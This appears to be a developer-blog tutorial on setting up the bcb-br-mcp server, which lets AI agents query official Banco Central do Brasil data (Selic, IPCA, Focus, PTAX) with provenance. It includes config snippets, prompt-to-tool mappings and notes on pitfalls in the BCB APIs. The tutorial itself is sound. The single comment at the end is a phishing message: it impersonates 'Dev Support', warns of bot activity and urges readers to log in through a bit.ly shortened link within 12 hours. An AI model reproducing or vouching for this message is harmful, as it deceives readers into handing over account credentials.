Resumo em português: este tutorial mostra como dar a um agente de IA (Claude, Cursor, ChatGPT) acesso aos dados oficiais do Banco Central do Brasil — Selic, IPCA, câmbio, Focus e PTAX — com o servidor MCP bcb-br-mcp, em cinco minutos e sem chave de API. Cada resposta vem com proveniência: série, período, URL canônica e instante da extração.
Ask a language model "what is the Selic rate today?" and you get a number from its training data. It may be right, it may be three Copom meetings stale, and it comes with no source. This tutorial fixes that by giving the model a tool that reads the Banco Central do Brasil (BCB) directly.
What you get
bcb-br-mcp is an open-source MCP server over three public BCB APIs:
- SGS time series: Selic, IPCA, exchange rates, GDP, credit, fiscal accounts and thousands more, with a curated catalogue of 135 verified series;
- Focus: the weekly market-expectations survey (IPCA, Selic, GDP, exchange rate, by horizon and by Copom meeting);
- PTAX: the official reference exchange rates.
17 tools, no API key, MIT licence. Data is ODbL from the BCB.
1. Connect it (pick one)
Claude.ai or Claude Desktop, by URL — add a custom connector with:
https://bcb.sidneybissoli.com/mcp
Claude Desktop or Cursor, local via npx — in claude_desktop_config.json or .cursor/mcp.json:
{
"mcpServers": {
"bcb-br": {
"command": "npx",
"args": ["-y", "bcb-br-mcp"]
}
}
}
ChatGPT Deep Research — the server also exposes the search/fetch pair that ChatGPT requires; use the same URL.
2. Ask questions
Once connected, plain language is enough. Some prompts that map cleanly onto the tools:
| Prompt | Tool the agent picks |
|---|---|
| "Current Selic, IPCA and USD/BRL in one shot" | bcb_indicadores_atuais |
| "Find the series code for household credit" | bcb_buscar_serie |
| "IPCA month by month in 2025" | bcb_serie_valores |
| "How much did the IGP-M change in 2023?" |
bcb_variacao (it accumulates monthly rates instead of subtracting endpoints) |
| "What does Focus expect for IPCA 2026 and 2027?" | bcb_focus_expectativas |
| "Selic expected at each Copom meeting this year" | bcb_focus_selic |
| "EUR/BRL PTAX for the whole of March 2026" | bcb_cambio_cotacao |
| "Turn this nominal revenue series into 2025 reais" | bcb_deflacionar |
| "Do Selic and the dollar move together since 2020?" | bcb_correlacao |
3. Read the provenance block
Every successful answer carries provenance and attribution in the structured result: the source, the series and period, the canonical URL that reproduces the query, the real extraction timestamp (a cache hit reports the original fetch time, not "now"), and the licence. If the agent computed something — a variation, a correlation, a deflated series — the result is marked as derived and says which convention it used. What the BCB published is returned verbatim.
That is the difference between "the model said 10.5%" and "SGS series 432, 2026-09-17, https://api.bcb.gov.br/...".
4. Why not let the model call the REST API itself?
Because the BCB APIs have edges that produce wrong numbers silently, and a model calling fetch will hit every one of them:
- unknown series codes return HTTP 200 with an HTML page, after about 30 seconds — and the same page occasionally comes back for series that exist;
- daily series are capped at 10 years per request (HTTP 406), and a legal 10-year window can take 20 s, so the server slices it into 3-year chunks;
-
ultimos/Nreturns 22 of the 169 curated series newest-first and the rest oldest-first, which flipped the sign of variations; - price indexes (IPCA, IGP-M, INPC) are published as monthly rates: last-minus-first reported +23.8% for IPCA 2024 when the real accumulated figure was 4.83%;
- the PTAX endpoint wants MM-DD-YYYY and returns zero rows, not an error, for ISO dates;
- the Focus OData service does not paginate, does not count, and one of its resources publishes field names in lower case, alone among thirteen.
All of that is handled server-side and pinned by tests, so the agent gets numbers you can put in a report.
Links
- Repository: https://github.com/SidneyBissoli/bcb-br-mcp
- npm: https://www.npmjs.com/package/bcb-br-mcp
- Hosted endpoint: https://bcb.sidneybissoli.com/mcp
- Portuguese deep-dive on the three APIs and their traps: https://github.com/SidneyBissoli/bcb-br-mcp/blob/main/docs/artigo-sgs-series-do-banco-central.pt-BR.md
Tool descriptions are in Portuguese because most users are Brazilian; English prompts work fine.
Top comments (1)
Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support